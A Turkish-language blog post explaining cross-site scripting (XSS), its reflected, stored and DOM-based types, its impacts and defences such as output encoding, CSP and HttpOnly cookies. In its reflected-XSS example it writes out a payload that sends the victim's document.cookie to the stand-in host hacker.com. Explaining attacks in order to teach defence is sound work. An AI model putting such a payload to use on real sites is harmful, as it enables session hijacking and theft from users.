kullanici2
Nisan 9, 2026

Web uygulamalarının güvenliği, kullanıcıdan alınan verilerin sunucu ve tarayıcı arasında nasıl işlendiğiyle doğrudan ilişkilidir. Bu süreçteki en yaygın ve tehlikeli zafiyetlerden biri olan XSS (Cross-Site Scripting), saldırganın güvenilir bir web sitesine kötü niyetli istemci tarafı betikleri (genellikle JavaScript) enjekte etmesine olanak tanır.
SQL Injection veri tabanını hedef alırken, XSS doğrudan son kullanıcıyı ve onun tarayıcı oturumunu hedef alır. 2026 yılı itibarıyla, modern web frameworkleri (React, Angular, Vue) yerleşik korumalar sunsa da, hatalı yapılandırmalar ve “tehlikeli” fonksiyonların kullanımı XSS’i hala siber saldırganların favori yöntemlerinden biri yapmaktadır.
XSS, özünde bir “güven suistimali” saldırısıdır. Tarayıcılar, ziyaret edilen meşru bir web sitesinden gelen betikleri “güvenli” kabul eder ve çalıştırır. Eğer bir web uygulaması, kullanıcıdan aldığı veriyi yeterince filtrelemeden veya kodlamadan (encoding) sayfaya geri basarsa, saldırgan bu verinin içine <script> etiketleri yerleştirerek kendi kodunu kurbanın tarayıcısında çalıştırabilir.
Bu durum; oturum çerezlerinin çalınması (Session Hijacking), sayfa içeriğinin manipüle edilmesi (Defacement) veya kullanıcının sahte giriş formlarına yönlendirilmesi gibi ciddi sonuçlar doğurur.
XSS’in temel çalışma mekanizması, tarayıcının “veri” ile “betik” arasındaki farkı ayırt edememesine dayanır. Normal bir senaryoda, bir arama kutusuna “telefon” yazdığınızda sunucu size Arama sonuçları: telefon yanıtını döner. Ancak sistemde XSS zafiyeti varsa ve saldırgan arama kutusuna <script>alert('XSS')</script> yazarsa, sunucu bu metni HTML içine doğrudan yerleştirir.
Tarayıcı sayfayı yüklediğinde, bu metni bir “yazı” olarak değil, “çalıştırılması gereken bir JavaScript kodu” olarak algılar. Gerçek bir saldırıda bu kod alert yerine, kullanıcının document.cookie verisini saldırganın sunucusuna gönderen karmaşık bir betik olacaktır.
En yaygın türdür. Kötü niyetli betik sunucuda saklanmaz; bir URL parametresi veya form verisi aracılığıyla gönderilir ve sunucu tarafından anlık olarak sayfaya geri “yansıtılır”.
Senaryo: Saldırgan, içinde zararlı kod bulunan bir link hazırlar: online-banka.com/ara?sorgu=<script>fetch('hacker.com?c='+document.cookie)</script>. Bu linke tıklayan kullanıcının oturum çerezi saldırgana iletilir.
En tehlikeli türdür. Zararlı betik, web sitesinin veri tabanına (yorumlar, profil bilgileri, mesaj kutusu vb.) kalıcı olarak kaydedilir.
Senaryo: Saldırgan, bir haber sitesinin yorum kısmına zararlı JavaScript kodu yazar. Bu yorum onaylandığında, haberi okuyan her kullanıcının tarayıcısında bu kod otomatik olarak çalışır. Saldırı kitlesel bir boyuta ulaşır.
Saldırı tamamen istemci tarafında gerçekleşir. Veri sunucuya hiç gitmeyebilir; tarayıcıdaki JavaScript kodunun (Document Object Model) hatalı kullanımı sonucu tetiklenir.
Senaryo: Bir sayfa, URL’deki # işaretinden sonraki kısmı alıp sayfaya yazıyorsa (document.write), saldırgan URL’nin sonuna betik ekleyerek kurbanı hedef alabilir.
Oturum Çalma (Session Hijacking): Saldırgan, kullanıcının session_id bilgisini ele geçirerek hesaba parola gerekmeksizin giriş yapabilir.
Kimlik Avı (Phishing): Web sitesinin formu manipüle edilerek, kullanıcının kredi kartı veya kimlik bilgileri saldırganın sahte formuna yazdırılabilir.
KVKK ve İtibar Kaybı: Kişisel verilerin bu yolla sızması, kurumun teknik tedbir yetersizliği nedeniyle ağır cezalar almasına yol açar.
XSS’i önlemek için “Savunma Derinliği” prensibi uygulanmalıdır:
Çıktı Kodlama (Output Encoding): Kullanıcıdan gelen veri ekrana basılmadan önce mutlaka HTML karakterlerine dönüştürülmelidir. Örneğin < karakteri < haline getirilirse, tarayıcı bunu kod olarak değil, sembol olarak görüntüler.
İçerik Güvenliği Politikası (CSP): Web sitesine eklenecek bir HTTP başlığı (Content-Security-Policy) ile tarayıcıya “Sadece güvenli kaynaklardan gelen JavaScript kodlarını çalıştır” talimatı verilir.
HttpOnly Çerezler: Oturum çerezleri HttpOnly bayrağı ile işaretlenirse, JavaScript kodları bu çerezlere erişemez. Bu sayede XSS olsa bile oturum çalınamaz.
XSS, web uygulamalarının karmaşıklaşmasıyla birlikte form değiştiren ama tehlikesi hiç azalmayan bir zafiyettir. 2026 dünyasında siber dayanıklılık, sadece sunucuları korumakla değil, son kullanıcının tarayıcısını da birer kale gibi savunmakla mümkündür.